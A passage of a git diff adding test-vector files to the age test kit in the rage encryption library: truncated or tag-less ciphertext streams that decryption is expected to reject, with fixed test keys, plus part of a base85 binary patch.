uTMogRC#Oa6Kj?Mrn<5BtEl$CS%aP)?*l2{J+#UrpSaQC0v#^dd&rbjWv4wd6 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_missing_tag b/lib/rage/age/tests/testdata/testkit/stream_missing_tag new file mode 100644 index 0000000..87bf215 --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_missing_tag @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL·L[ \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_chunks b/lib/rage/age/tests/testdata/testkit/stream_no_chunks new file mode 100644 index 0000000..7d68f8b --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_no_chunks @@ -0,0 +1,10 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùL \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_final b/lib/rage/age/tests/testdata/testkit/stream_no_final new file mode 100644 index 0000000..413187e --- /dev/null +++ b/lib/rage/age/tests/testdata/testkit/stream_no_final @@ -0,0 +1,11 @@ +expect: payload failure +payload: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +file key: 59454c4c4f57205355424d4152494e45 +identity: AGE-SECRET-KEY-1XMWWC06LY3EE5RYTXM9MFLAZ2U56JJJ36S0MYPDRWSVLUL66MV4QX3S7F6 + +age-encryption.org/v1 +-> X25519 TEiF0ypqr+bpvcqXNyCVJpL7OuwPdVwPL7KQEbFDOCc +EmECAEcKN+n/Vs9SbWiV+Hu0r+E8R77DdWYyd83nw7U +--- Vn+54jqiiUCE+WZcEVY3f1sqHjlu/z1LCQ/T7Xm7qI0 +îÏbÇΑ´3'NhÔòùLíS ;àû¬|º9¥¥È +w^Ú \ No newline at end of file diff --git a/lib/rage/age/tests/testdata/testkit/stream_no_final_full b/lib/rage/age/tests/testdata/testkit/stream_no_final_full new file mode 100644 index 0000000000000000000000000000000000000000..f61cf077aa9aec927c35a77159e50114abcd2be8 GIT binary patch literal 65963 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 